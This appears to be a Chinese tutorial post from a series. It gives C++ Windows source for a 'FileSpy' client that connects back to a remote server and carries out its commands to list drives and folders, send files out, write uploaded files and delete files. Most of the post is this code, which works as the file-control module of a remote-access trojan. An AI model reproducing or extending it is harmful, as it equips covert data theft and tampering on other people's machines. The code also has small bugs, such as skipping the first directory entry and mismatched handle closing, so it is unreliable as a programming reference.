文件监控之查找/删除/下载/上传

这两节主要实现四个功能:文件查找,删除,下载,上传。



这节主要做客户端:


FileSpy类:


1.首先创建一个FileSpy类。




2.遍历目录/文件夹函数:


std::vector<std::string> FileSpy::getDirs(std::string dir)
{
    WIN32_FIND_DATAA findData;
    HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData);
    std::vector<std::string> files;


    if (hFind == INVALID_HANDLE_VALUE) {
        return files;
    }


    // 遍历目录来获取路径
    while (FindNextFileA(hFind, &findData)) {
        // 不需要后退和当前目录
        if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) {
            continue;
        }


        // 判断路径
        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            files.push_back(findData.cFileName);
        }
    }


    // 释放句柄
    CloseHandle(hFind);


    return files;
}



std::vector<std::string> FileSpy::getFiles(std::string dir)
{
    WIN32_FIND_DATAA findData;
    HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData);
    std::vector<std::string> files;


    if (hFind == INVALID_HANDLE_VALUE) {
        return files;
    }


    // 遍历目录来获取文件
    while (FindNextFileA(hFind, &findData)) {
        // 不需要后退和当前目录
        if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) {
            continue;
        }


        // 判断不是路径
        if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
            files.push_back(findData.cFileName);
        }
    }


    // 释放句柄
    CloseHandle(hFind);


    return files;
}




3.查找所有盘符,比如:C盘,D盘:

std::vector<std::string> FileSpy::getDrives()
{
    std::vector<std::string> drives;


    // 遍历a-z盘符
    for (int i='b'; i<='z'; i++) {
        char d[MAX_PATH];
        sprintf(d, "%c:\\*", i);


        WIN32_FIND_DATAA findData;
        HANDLE h = FindFirstFileA(d, &findData);
        if (h != INVALID_HANDLE_VALUE) {
            d[strlen(d)-1] = '\0';
            drives.push_back(d);


            // 释放句柄
            CloseHandle(h);
        }
    }


    return drives;
}






4.至于网络方面都和上一节没什么区别。




代码修改:


1.更改TcpSocket类sendData函数:


bool TcpSocket::sendData(const char *data,unsigned int size)
{
    if ((int)mSock == SOCKET_ERROR) {
        std::cout << "Socket do not allowed to send data without connected " << std::endl;
        std::fflush(stdout);;
        return false;
    }


    int ret = SOCKET_ERROR;
    const unsigned int packetLen = 800;
    // 小于pakcetLen的话,就直接发送,不然就分包发送
    if (size <= packetLen) {
        ret = send(mSock, data, size, 0);


        // 出现错误,断开连接
        if (ret == SOCKET_ERROR) {
            std::cout <<  "Failed to send data to " <<  mIp << std::endl;
            std::fflush(stdout);;
            dissconnect();
        }
    } else {
        unsigned int pos = 0;
        while (pos < size) {
            unsigned int sendSize = pos+packetLen > size ? size-pos : packetLen;


            // 发送
            ret = send(mSock, data+pos, sendSize, 0);


            // 出现错误,断开连接
            if (ret == SOCKET_ERROR) {
                std::cout <<  "Failed to send data to " <<  mIp << std::endl;
                std::fflush(stdout);;
                dissconnect();
                break;
            }


            pos += packetLen;
        }
    }


    return ret != SOCKET_ERROR ? true : false;
}





我上代码了:


FileSpy.h

/*
 *
 *  Author: sumkee911@gmail.com
 *  Date: 23-12-2016
 *  Brief: 实现查找,删除,下载,上传功能
 *
 */

#ifndef FILESPY_H
#define FILESPY_H

#include "tcpsocket.h"
#include <windows.h>
#include <iostream>
#include <map>
#include <vector>

class FileSpy
{
public:
    FileSpy();

    // 服务端向客户端发送的指令(你觉得有需要你也可以增加自己的指令)
    const std::string CmdGetDirFiles = "GET_DIRS_FILES";   // 获取路径下的所有文件名和路径名
    const std::string CmdDownloadFile = "DOWNLOAD_FILE";   // 服务端从客户也下载文件
    const std::string CmdUploadFile = "UPLOAD_FILE";       // 服务端上传文件到客户端
    const std::string CmdDeleteFile = "DELETE_FILE";       // 服务端在客户端删除文件

    // 客户端向服务端发送的指令(你觉得有需要你也可以增加自己的指令)
    const std::string CmdSendDrives = "SEND_DRIVES";        // 发送盘符
    const std::string CmdSendDirs = "SEND_DIRS";            // 发送路径下的所有路径名
    const std::string CmdSendFiles = "SEND_FILES";          // 发送路径下的所有文件名
    const std::string CmdDeleteFileSuccess = "DELETE_SUCCESS";  // 成功删除文件
    const std::string CmdDeleteFileFailed = "DELETE_FAILED";    // 删除文件失败

    // 分割符号和结束符号,比如获取文件夹所有文件命令:FILES<分割符>FILEA<文件分割符>FILEB<文件分割符>FILEC<结束符号>
    const std::string CmdSplit = ";";
    const std::string CmdEnd = "\r\n";
    const std::string CmdFileSplit = "|";

    // 这个类的入口函数
    static void startByNewThread(std::string domain, int port);
    static DWORD WINAPI fileSpyThreadProc(LPVOID args);
    static void startFileSpy(std::string domain, int port);

    // 命令解析函数
    static void addDataToBuffer(TcpSocket *sock, std::string &buf, char *data, int size);
    static std::map<std::string, std::string> parseArgs(std::string &data);
    static void processCmd(TcpSocket *sock, std::string &cmd, std::string &data);

    // 命令处理函数
    static void doGetDirFiles(TcpSocket *sock, std::map<std::string, std::string> &args);
    static void doDownloadFile(TcpSocket *sock, std::map<std::string, std::string> &args);
    static void doUploadFile(TcpSocket *sock, std::map<std::string, std::string> &args);
    static void doDeleteFile(TcpSocket *sock, std::map<std::string, std::string> &args);

    // 获取所有盘符
    static std::vector<std::string> getDrives();
    // 获取路径下的所有路径
    static std::vector<std::string> getDirs(std::string dir);
    // 获取路径下的所有文件
    static std::vector<std::string> getFiles(std::string dir);

    // 发送文件数据包头
    typedef struct {
        char fileName[256];
        unsigned int len;
    } FileHeader;

    // 发送文件入口函数
    static void startSendFileByNewThread(std::string filePath, std::string domain, int port);
    static DWORD WINAPI sendFileThreadProc(LPVOID args);
    static void startSendFile(std::string filePath, std::string domain, int port);

    // 接收文件入口函数
    static void startRecvFileByNewThread(std::string filePath, std::string domain, int port);
    static DWORD WINAPI recvFileThreadProc(LPVOID args);
    static void startRecvFile(std::string filePath, std::string domain, int port);
};

#endif // FILESPY_H


filespy.cpp

#include "filespy.h"

// 初始化FileSpy
static FileSpy gSpy;

FileSpy::FileSpy()
{

}

void FileSpy::startByNewThread(std::string domain, int port)
{
    // 将域名和端口数据转换成一个字符指针类型
    char *args = new char[MAX_PATH+sizeof(int)];
    domain.reserve(MAX_PATH);
    memcpy(args,domain.data(), MAX_PATH);
    memcpy(args+MAX_PATH,(char*)&port, sizeof(int));

    // 创建新线程
    HANDLE h = CreateThread(NULL,0, FileSpy::fileSpyThreadProc,(LPVOID)args,0,NULL);
    if (!h) {
        std::cout << "Failed to create new thread" << std::endl;
        std::fflush(stdout);
    }
}

DWORD FileSpy::fileSpyThreadProc(LPVOID args)
{
    char domain[MAX_PATH];
    memcpy(domain, args, MAX_PATH);
    int port = *((int*)((char*)args+MAX_PATH));

    // 开始监控
    startFileSpy(domain, port);

    // 释放参数
    delete (char *)args;
    return true;
}

void FileSpy::startFileSpy(std::string domain, int port)
{
    // 连接到服务器,接收服务器的指令
    TcpSocket sock;
    if (!sock.connectTo(domain, port)) {
        std::cout << "Failed to connect server for file spy" << std::endl;
        std::fflush(stdout);
    }

    // 死循环,不断从服务端接收数据
    const int packetSize = 800;
    char szData[packetSize];
    int ret;
    std::string buf;

    while (1) {
        ret = sock.recvData(szData, packetSize);

        // 出现错误
        if (ret == SOCKET_ERROR || ret == 0) {
            break;
        }

       // 把数据加入到缓冲区
       addDataToBuffer(&sock, buf, szData, ret);
    }
}

void FileSpy::addDataToBuffer(TcpSocket *sock, std::string &buf, char *data, int size)
{
    buf.append(data,size);

    // 把数据转换成指令模式
    int endIndex;
    while ((endIndex = buf.find(gSpy.CmdEnd)) >= 0) {
        std::string line = buf.substr(0,endIndex);
        buf.erase(0, endIndex+gSpy.CmdEnd.length());

        // 获取指令
        int firstSplit = line.find(gSpy.CmdSplit);
        std::string cmd = line.substr(0, firstSplit);
        line.erase(0, firstSplit+gSpy.CmdSplit.length());

        // 处理指令
        processCmd(sock, cmd, line);
    }
}

std::map<std::string, std::string> FileSpy::parseArgs(std::string &data)
{
    // 字符串分割成列表
    std::vector<std::string> v;
    std::string::size_type pos1, pos2;
    pos2 = data.find(gSpy.CmdSplit);
    pos1 = 0;
    while(std::string::npos != pos2) {
        v.push_back(data.substr(pos1, pos2-pos1));
        pos1 = pos2 + gSpy.CmdSplit.size();
        pos2 = data.find(gSpy.CmdSplit, pos1);
    }
    if(pos1 != data.length()) v.push_back(data.substr(pos1));

    // 解析参数
    std::map<std::string, std::string> args;
    for (int i=0; i<(int)v.size()-1; i+=2) {
        args[v.at(i)] =  v.at(i+1);
    }

    return args;
}

void FileSpy::processCmd(TcpSocket *sock, std::string &cmd, std::string &data)
{
    // 解析参数
    std::map<std::string, std::string> args = parseArgs(data);

    // 获取文件
    if (cmd == gSpy.CmdGetDirFiles) {
        doGetDirFiles(sock, args);
        return;
    }

    // 下载文件
    if (cmd == gSpy.CmdDownloadFile) {
        doDownloadFile(sock, args);
        return;
    }

    // 上传文件
    if (cmd == gSpy.CmdUploadFile) {
        doUploadFile(sock, args);
        return;
    }

    // 删除文件
    if (cmd == gSpy.CmdDeleteFile) {
        doDeleteFile(sock ,args);
        return;
    }
}

void FileSpy::doGetDirFiles(TcpSocket *sock, std::map<std::string, std::string> &args)
{
    std::string dir = args["DIR"];
    std::string data;

    // 如果为空就代表获取盘符
    if (dir.size() == 0) {
        std::vector<std::string> drives;
        drives = getDrives();

        // 把盘符打包成数据
        data.append(gSpy.CmdSendDrives+gSpy.CmdSplit);
        data.append("DRIVES"+gSpy.CmdSplit);

        int max = drives.size();
        for (int i=0; i<max; ++i) {
            data.append(drives[i]+gSpy.CmdFileSplit);
        }
        if (drives.size() > 0) {
            data.erase(data.size()-1);
        }
        data.append(gSpy.CmdEnd);

        // 发送
        sock->sendData(data.data(), data.size());
    } else {
        std::vector<std::string> files;
        std::vector<std::string> dirs;

        dirs = getDirs(dir);
        files = getFiles(dir);

        // 把目录打包成数据
        data.append(gSpy.CmdSendDirs+gSpy.CmdSplit);
        data.append("DIR"+gSpy.CmdSplit+ dir +gSpy.CmdSplit);
        data.append("DIRS"+gSpy.CmdSplit);

        int max = dirs.size();
        for (int i=0; i<max; ++i) {
            data.append(dirs[i]+gSpy.CmdFileSplit);
        }
        if (dirs.size() > 0) {
            data.erase(data.size()-1);
        }
        data.append(gSpy.CmdEnd);

        // 把文件名打包成数据
        data.append(gSpy.CmdSendFiles+gSpy.CmdSplit);
        data.append("DIR"+gSpy.CmdSplit+ dir +gSpy.CmdSplit);
        data.append("FILES"+gSpy.CmdSplit);

        max = files.size();
        for (int i=0; i<max; ++i) {
            data.append(files[i]+gSpy.CmdFileSplit);
        }
        if (files.size()) {
            data.erase(data.size()-1);
        }
        data.append(gSpy.CmdEnd);

        // 发送
        sock->sendData(data.data(), data.size());
    }

}

void FileSpy::doDownloadFile(TcpSocket *sock, std::map<std::string, std::string> &args)
{
    // 发送文件到服务端
    std::string filePath = args["FILE_PATH"];
    int port = atoi(args["PORT"].data());

    // 开启一个新的线程发送文件
    startSendFileByNewThread(filePath, sock->mIp, port);
}

void FileSpy::doUploadFile(TcpSocket *sock, std::map<std::string, std::string> &args)
{
    // 从服务端接收文件
    std::string filePath = args["FILE_PATH"];
    int port = atoi(args["PORT"].data());

    // 开启一个线程接收文件
    startRecvFileByNewThread(filePath, sock->mIp, port);
}

void FileSpy::doDeleteFile(TcpSocket *sock, std::map<std::string, std::string> &args)
{
    // 删除文件
    bool  ret =  DeleteFileA(args["FILE_PATH"].data());
    std::string data;
    if (ret) {
        data.append(gSpy.CmdDeleteFileSuccess);
        data.append(gSpy.CmdEnd);
        sock->sendData(data.data(), data.size());
    } else {
        data.append(gSpy.CmdDeleteFileFailed);
        data.append(gSpy.CmdEnd);
        sock->sendData(data.data(), data.size());
    }
}

std::vector<std::string> FileSpy::getDrives()
{
    std::vector<std::string> drives;

    // 遍历a-z盘符
    for (int i='b'; i<='z'; i++) {
        char d[MAX_PATH];
        sprintf(d, "%c:\\*", i);

        WIN32_FIND_DATAA findData;
        HANDLE h = FindFirstFileA(d, &findData);
        if (h != INVALID_HANDLE_VALUE) {
            d[strlen(d)-1] = '\0';
            drives.push_back(d);

            // 释放句柄
            CloseHandle(h);
        }
    }

    return drives;
}

std::vector<std::string> FileSpy::getDirs(std::string dir)
{
    WIN32_FIND_DATAA findData;
    HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData);
    std::vector<std::string> files;

    if (hFind == INVALID_HANDLE_VALUE) {
        return files;
    }

    // 遍历目录来获取路径
    while (FindNextFileA(hFind, &findData)) {
        // 不需要后退和当前目录
        if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) {
            continue;
        }

        // 判断路径
        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            files.push_back(findData.cFileName);
        }
    }

    // 释放句柄
    CloseHandle(hFind);

    return files;
}

std::vector<std::string> FileSpy::getFiles(std::string dir)
{
    WIN32_FIND_DATAA findData;
    HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData);
    std::vector<std::string> files;

    if (hFind == INVALID_HANDLE_VALUE) {
        return files;
    }

    // 遍历目录来获取文件
    while (FindNextFileA(hFind, &findData)) {
        // 不需要后退和当前目录
        if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) {
            continue;
        }

        // 判断不是路径
        if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
            files.push_back(findData.cFileName);
        }
    }

    // 释放句柄
    CloseHandle(hFind);

    return files;
}

void FileSpy::startSendFileByNewThread(std::string filePath, std::string domain, int port)
{
    // 将文件路径,域名和端口数据转换成一个字符指针类型
    char *args = new char[MAX_PATH+MAX_PATH+sizeof(int)];

    filePath.reserve(MAX_PATH);
    memcpy(args, filePath.data(), MAX_PATH);

    domain.reserve(MAX_PATH);
    memcpy(args+MAX_PATH,domain.data(), MAX_PATH);

    memcpy(args+MAX_PATH+MAX_PATH,(char*)&port, sizeof(int));

    // 创建新线程
    HANDLE h = CreateThread(NULL,0, FileSpy::sendFileThreadProc,(LPVOID)args,0,NULL);
    if (!h) {
        std::cout << "Failed to create new thread" << std::endl;
        std::fflush(stdout);
    }
}

DWORD FileSpy::sendFileThreadProc(LPVOID args)
{
    // 将文件路径,域名和端口数据从指针转换过来
    char filePath[MAX_PATH], domain[MAX_PATH];
    memcpy(filePath, args, MAX_PATH);
    memcpy(domain, args+MAX_PATH, MAX_PATH);
    int port = *((int*)((char*)args+MAX_PATH+MAX_PATH));

    // 开始发送文件
    startSendFile(filePath, domain, port);

    // 释放参数
    delete (char *)args;
    return true;
}

void FileSpy::startSendFile(std::string filePath, std::string domain, int port)
{
    // 连接到服务端发送文件
    TcpSocket sock;
    if (!sock.connectTo(domain, port)) {
        std::cout << "Failed to connect server for send file" << std::endl;
        std::fflush(stdout);
        return;
    }

    // 打开文件
    FILE *fp = fopen(filePath.data(), "rb");
    if (!fp) {
        // 断开
        sock.dissconnect();

        std::cout << "Failed to open file for send file" << std::endl;
        std::fflush(stdout);
        return;
    }

    // 获取文件大小
    fseek(fp, 0, SEEK_END);
    unsigned int len = ftell(fp);
    rewind(fp);

    // 获取文件名字
    char name[_MAX_FNAME], ext[_MAX_EXT];
    _splitpath(filePath.data(), NULL, NULL, name, ext);

    // 发送文件头
    FileHeader header;
    sprintf(header.fileName, "%s%s", name,ext);
    header.len = len;
    sock.sendData((char *)&header, sizeof(header));

    // 发送文件数据
    // 发送jpg数据包,包大小每次最好少于1000,我这里定义800
    const unsigned int paketLen = 800;
    char data[800];
    unsigned int pos = 0;

    while (pos < len) {
        int sendSize = (pos+paketLen) > len ? len-pos : paketLen;

        // 读取文件
        fread(data, 1, sendSize, fp);

        if (!sock.sendData(data, sendSize)) {
            return;
        }

        pos += sendSize;
    }

    // 关闭已经打开的文件
    fclose(fp);
}

void FileSpy::startRecvFileByNewThread(std::string filePath, std::string domain, int port)
{
    // 将文件路径,域名和端口数据转换成一个字符指针类型
    char *args = new char[MAX_PATH+MAX_PATH+sizeof(int)];

    filePath.reserve(MAX_PATH);
    memcpy(args, filePath.data(), MAX_PATH);

    domain.reserve(MAX_PATH);
    memcpy(args+MAX_PATH,domain.data(), MAX_PATH);

    memcpy(args+MAX_PATH+MAX_PATH,(char*)&port, sizeof(int));

    // 创建新线程
    HANDLE h = CreateThread(NULL,0, FileSpy::recvFileThreadProc,(LPVOID)args,0,NULL);
    if (!h) {
        std::cout << "Failed to create new thread" << std::endl;
        std::fflush(stdout);
    }
}

DWORD FileSpy::recvFileThreadProc(LPVOID args)
{
    // 将文件路径,域名和端口数据从指针转换过来
    char filePath[MAX_PATH], domain[MAX_PATH];
    memcpy(filePath, args, MAX_PATH);
    memcpy(domain, args+MAX_PATH, MAX_PATH);
    int port = *((int*)((char*)args+MAX_PATH+MAX_PATH));

    // 开始接收
    startRecvFile(filePath, domain, port);

    // 释放参数
    delete (char *)args;
    return true;
}

void FileSpy::startRecvFile(std::string filePath, std::string domain, int port)
{    // 连接到服务端发送文件
    TcpSocket sock;
    if (!sock.connectTo(domain, port)) {
        std::cout << "Failed to connect server for send file" << std::endl;
        std::fflush(stdout);
        return;
    }

    // 创建一个新的文件
    FILE *fp = fopen(filePath.data(), "wb");
    if (!fp) {
        // 断开
        sock.dissconnect();

        std::cout << "Failed to open file for send file" << std::endl;
        std::fflush(stdout);
        return;
    }

    // 开始接收数据
    const int packetLen = 800;
    char data[packetLen];
    while(1) {
        int ret = sock.recvData(data, packetLen);

        if (ret == SOCKET_ERROR || ret == 0) {
            break;
        }

        // 写入数据
        fwrite(data, 1, ret, fp);
    }

    // 关闭文件
    if (fp) {
        fclose(fp);
    }
}





这一节的完整代码:


下载